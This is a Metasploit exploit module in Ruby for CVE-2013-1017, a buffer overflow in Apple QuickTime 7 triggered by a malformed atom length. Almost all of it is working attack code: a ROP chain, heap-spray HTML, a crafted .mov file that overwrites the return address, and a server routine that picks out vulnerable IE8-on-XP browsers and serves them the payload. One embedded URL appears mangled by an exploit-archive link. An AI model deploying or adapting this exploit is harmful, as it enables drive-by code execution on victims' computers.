require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
'Description'=> %q{
This module exploits a vulnerability found in Apple Quicktime. The flaw is
triggered when Quicktime fails to properly handle the data length for certain
atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
overflow by loading a specially crafted .mov file, and allows arbitrary
code execution under the context of the user.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'Jason Kratzer',
'Tom Gallagher',
'Paul Bates',
'sinn3r'
],
'References' =>
[
[ 'CVE', '2013-1017' ],
[ 'BID', '60097' ],
[ 'URL', 'http://support.apple.com/kb/HT5770' ]
],
'Platform' => 'win',
'Targets'=>
[
[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
],
'Payload'=>
{
'BadChars'=> "\x00"
},
'DefaultOptions'=>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "May 22 2013"
))
end
def get_payload(t)
p= ''
rop =
[
0x77c1e844,
0x77c1e844,
0x77c4fa1c,
0xffffffff,
0x77c127e5,
0x77c127e5,
0x77c4e0da,
0x2cfe1467,
0x77c4eb80,
0x77c58fbc,
0x77c34fcd,
0x2cfe04a7,
0x77c4eb80,
0x77c14001,
0x77c3048a,
0x77c47a42,
0x77c46efb,
0x77c2aacc,
0x77c3b860,
0x77c1110c,
0x77c12df9,
0x77c35459
].pack("V*")
p << rop
p << "\x81\xc4\x54\xf2\xff\xff"
p << payload.encoded
p
end
def targetable?(agent)
if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
return true
elsif agent =~ /contype/
return true
end
false
end
def get_html(t)
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
fake_mov_name = rand_text_alpha(4) + ".mov"
html = %Q|
<html>
<head>
<script>
var s = unescape("#{js_p}");
sprayHeap({shellcode:s});
</script>
</head>
<body>
<embed src="https://www.exploit-db.com/exploits/27012/#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
</body>
</html>
|
html.gsub(/^\t\t/, '')
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("Requesting: #{request.uri}")
unless targetable?(agent)
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
print_status("Target selected as: #{target.name}") if target
if request.uri =~ /\.mov$/
print_status("Sending specially crafted .mov file")
send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
else
html = get_html(target)
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
end
end
def sort_bytes(data)
data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
end
def rop_nop(t)
[t['Nop']].pack('V*')
end
def exploit
buf = ''
buf << rand_text_alpha(467)
10.times {
buf << rop_nop(target)
}
buf << [
target['Pop'],
0x20302020
].pack('V*')
buf << rand_text_alpha(611 - buf.length)
buf << sort_bytes([target.ret])
buf << rand_text_alpha(658 - buf.length)
mov= "\x00\x00\x06\xDF"
mov << "moov"
mov << "\x00\x00\x06\xD7"
mov << "rmra"
mov << "\x00\x00\x06\xCF"
mov << "rmda"
mov << "\x00\x00\x06\xBF"
mov << "rdrf"
mov << "\x00\x00\x00\x00"
mov << "alis"
mov << "\x00\x00\x06\xAA"
mov << rand_text_alpha(8)
mov << "\x00\x00\x06\x61"
mov << rand_text_alpha(38)
mov << "\x12"
mov << rand_text_alpha(81)
mov << "\xFF\xFF"
mov << rand_text_alpha(18)
mov << "\x00\x08"
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x08"
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x26"
mov << rand_text_alpha(38)
mov << "\x00\x0F\x00\x0E"
mov << "AA"
mov << rand_text_alpha(12)
mov << "\x00\x12\x00\x21"
mov << rand_text_alpha(36)
mov << "\x00"
mov << "\x0F\x33"
mov << rand_text_alpha(17)
mov << "\x02\xF4"
mov << rand_text_alpha(756)
mov << "\xFF\xFF\x00\x00\x00"
mov << buf
@exploit = mov
super
end
end